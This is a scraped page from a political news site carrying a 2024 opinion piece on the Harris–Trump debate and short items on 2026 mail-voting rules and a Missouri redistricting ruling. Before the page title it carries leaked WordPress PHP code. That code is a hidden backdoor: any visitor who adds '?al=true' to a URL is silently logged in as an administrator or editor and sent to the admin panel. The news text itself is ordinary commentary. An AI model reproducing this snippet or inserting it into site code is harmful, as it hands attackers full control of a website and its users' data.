// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); The debate made the contrast between Trump and Harris crystal clear. Will it matter to voters? – Blue Light News
Connect with us

Politics

The debate made the contrast between Trump and Harris crystal clear. Will it matter to voters?

Published

2 years ago

on

The debate made the contrast between Trump and Harris crystal clear. Will it matter to voters?

The choice has now been laid out, and it is stark. Tuesday’s presidential debate between Vice President Kamala Harris and former President Donald Trump likely won’t be among history’s most remembered, but it delivered what we needed in 2024, showcasing the very real differences between the two candidates.

And yet, I’m left to wonder whether it was enough to dramatically change the race. After nearly a decade of this same Trump in our politics, it’s difficult to have real confidence that an objectively poor performance will cost him the White House. As disorienting as his comments can be, it feels exactly like what we’ve seen from him for years.

After nearly a decade of this same Trump in our politics, it’s difficult to have real confidence that an objectively poor performance will cost him the White House.

The question remains: How many voters are willing to overlook his obvious flaws and bizarre rhetoric out of gauzy nostalgia for pre-pandemic days or a frustration with the current administration’s handling of the economy?

In style and substance, Harris looked the part of a president, the awkwardness of her early stumbles on the national stage gone. She spoke to her plans but more so to the values, principles and priorities that motivate her. She was firm and forward-looking. Harris was speaking directly to the American people.

Trump, by contrast, reprised his familiar role as America’s dark and self-obsessed loudmouth. He did little to appeal to swing voters, diving immediately into conservative culture issues and conspiracy theories. The Trump campaign had hoped to present Harris as a lightweight and a radical. But once again it was undermined by its candidate. The former president leveled many attacks, to be sure, but he got so lost in his own rambles that Harris was rarely put on the defensive.

At times she was able to toy with him, tossing out bait on topics like crowd sizes, Trump’s criminal conviction and his role on Jan. 6. He eagerly took it each time, wasting precious time on self-indulgent rants that serve only to highlight his narcissism. Perhaps the worst moment for the former president was an extended argument that he, in fact, did not lose the 2020 election. None of this does him any good with the undecided voters who will determine this election.

Harris, meanwhile, understood the assignment. She pressed her advantage on issues like abortion while presenting herself as a mainstream Democrat, saying she would be tough on illegal border crossers, promoting the need for a mighty military force and even announcing herself as a gun owner. She had no knockout blows, but in contrast to the brooding, unfocused performance of her opponent she was the clear better candidate onstage.

Tuesday’s debate was much bigger than the differences in their policy proposals. It was a contrast in the character, ideals and seriousness that we should expect from a president.

It’s confounding that the race is so close, making this debate supposedly so crucial, because the choice should not be hard. There is a serious candidate working to earn your vote, running in the traditions of American democracy and offering a vision for moving America forward. And there is another who remains deeply unstable and wants to scare people into going backward.

Brendan Buck

Brendan Buck is an NBC News and BLN political analyst. He was previously counselor to former House Speaker Paul Ryan and press secretary to former House Speaker John Boehner.

Read More

Related Topics:
Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Politics

‘We are winning elections’: Bernie Sanders on Democrats’ progressive wing

Published

22 hours ago

on

September 6, 2026

By

‘We are winning elections’: Bernie Sanders on Democrats’ progressive wing

lead image

Continue Reading

Politics

Trump wants the Postal Service to radically overhaul mail voting. But ballots are already going out.

Published

3 days ago

on

September 4, 2026

By

President Donald Trump’s controversial demands for the Postal Service to overhaul and monitor millions of mail ballots hit another snag on Friday, when North Carolina became the first state in the nation to start sending out ballots for the November election.

In March, Trump signed the initial executive order, which aimed to crack down on mail-in voting — which he regularly alleges without evidence is a vector for widespread voter fraud — and assert an unprecedented amount of federal control over the upcoming elections.

Under this order and the subsequent rule drafted by the U.S. Postal Service, the USPS would refuse to deliver ballots to states that failed to provide lists of eligible mail voters or did not adhere to an approved envelope design style.

Since then, the order has faced legal challenges, and it remains paused by a federal judge’s orders. But the Trump administration has asked the Supreme Court to allow the new rule to proceed — something current and former election officials from both parties say would be both a legal nightmare that oversteps the federal government’s traditional role in elections and a logistical one that is happening far too close to the November election to implement even if they agreed with it.

“Why the hell are you rocking the boat this late in the game?” said Stephen Richer, a former Republican recorder of Maricopa County, Arizona, who has clashed with Trump allies for defending the security of the 2020 election.

Still, election officials are trying to project a sense of normalcy for voters, particularly in North Carolina, which serves as a test of whether established local election systems can operate normally amid intensifying federal scrutiny.

“I want to emphasize this point because there has been a lot of outside noise: Our county workers are ready,” Sam Hayes, a longtime Republican lawyer in the state and now executive director of the North Carolina State Board of Elections, said in a Thursday afternoon press conference.

He added, “All we can do is what we’re doing. … It is business as usual as far as I’m concerned.”

Despite the legal challenges, the Trump administration has continued to press the courts to let it proceed. The Trump administration asked the Supreme Court on Thursday to lift an order from a Massachusetts judge which temporarily prevents the USPS from enforcing their rule. It is the second time the Trump administration has asked the Supreme Court to step in, after winning an earlier victory in which the high court dismissed an earlier hold on the rule as premature.

“The uncertainty is coming from a single activist judge who continues to try and obstruct President Trump from implementing commonsense measures to protect the security of mail-in ballots and ensure only Americans vote in American elections,” White House spokesperson Lauren Bis said in a statement. “These safeguards for mail ballots were proposed months ago giving election officials ample time to prepare for the 2026 election.”

The USPS did not immediately respond to requests for comment.

Election officials said that if the rule goes into effect this close to November, it would cause chaos and place added strain on the USPS and election officials. And an anonymous federal whistleblower said in a report circulated earlier this week by Sen. Richard Blumenthal (D-Conn.) that the USPS was moving forward in a “secretive, rushed, chaotic, and fundamentally flawed process” to try to implement the new system ahead of the midterms.

In the coming weeks, states across the country will follow North Carolina’s lead. Nine other states will begin mailing ballots in the next two weeks, according to a tracker from the National Conference of State Legislatures — with the biggest day for mailing coming 45 days before the election in mid-September.

“It would be so outrageous to try to let this go into effect. It’s hard to even imagine,” said Ben Hovland, a senior fellow for democracy at the progressive think tank Center for American Progress and former Democratic commissioner with the Election Assistance Commission who was fired by Trump in July.

He added, “It would be a break-glass moment for our democracy.”

The rule would require meticulous changes to ballot handling and tracking practices that Hovland said are impossible to implement before Election Day in about two months, effectively disenfranchising millions of voters.

“Ballots are printed. Envelopes are printed. You can go on and on with all the practical reasons that show that implementing something like this at this time is not feasible,” he said.

Richer said he doubted the new rules would bring about more security. Even if the USPS received lists from the states, according to the postal service’s final rule, it would not do any additional vetting of the list, Richer said.

“It’s just that the mail ballots have to be on that list, and I don’t see what added value for election integrity that does,” he said.

He added, “It creates a lot of administrative burden, and I think it creates a lot more opportunity for error.”

While a decision looms in the courts, election officials and experts cast doubt on the likelihood of the rules going into effect before November. A more pressing issue, they said, is the confusion and uncertainty surrounding mail-in ballots, which could subvert and change the behaviors of voters.

“It makes things seem messy or difficult, and it can dissuade people from participating or coming out to vote,” Hovland said. “It certainly also helps establish a pretext to make bad faith claims about election results.”

Hovland said that while none of these claims of voter fraud are backed up with facts, they could cause Americans to lose faith in the voting process.

Still, some current officials contended they were well-prepared for whatever happens — and that they’d be able to communicate effectively with voters who have become increasingly buffeted by dramatic rhetoric about the once-unmentioned nuts and bolts of actually running an election.

“There’s always a lot of noise around elections, that’s not going to change, and it can be hard to differentiate that from what’s actually going on on the ground,” said Jason Tyson, director of external affairs for the North Carolina State Board of Elections.

As Election Day approaches, Tyson and election officials said they urge voters to check their registration status and make a plan to vote.

He added, “I think we’ve got a really well-trained, solid staff who are ready, and who have gone through all of the checks and balances and points of contact that we need to do to get to where we are.”

Continue Reading

Politics

Missouri Supreme Court pauses GOP gerrymander, likely netting Democrats 1 House seat

Published

3 days ago

on

September 3, 2026

By

Missouri’s Supreme Court suspended a congressional map that state Republicans drew last year that would have netted the GOP an additional House seat, likely keeping the seat in Democratic hands this November.

The court ruled unanimously on Thursday that a referendum petition organized by Democrats to put the new congressional maps to a vote was incorrectly deemed insufficient by Republican Secretary of State Denny Hoskins, and ordered that the gerrymandered map be put to a vote in the fall.

Voters will ultimately decide the fate of the new lines in November. But in the meantime, it cannot be in place for the midterms, meaning Rep. Emanuel Cleaver’s original Kansas City-based district will likely stay in Democrats’ hands this fall.

Continue Reading

Trending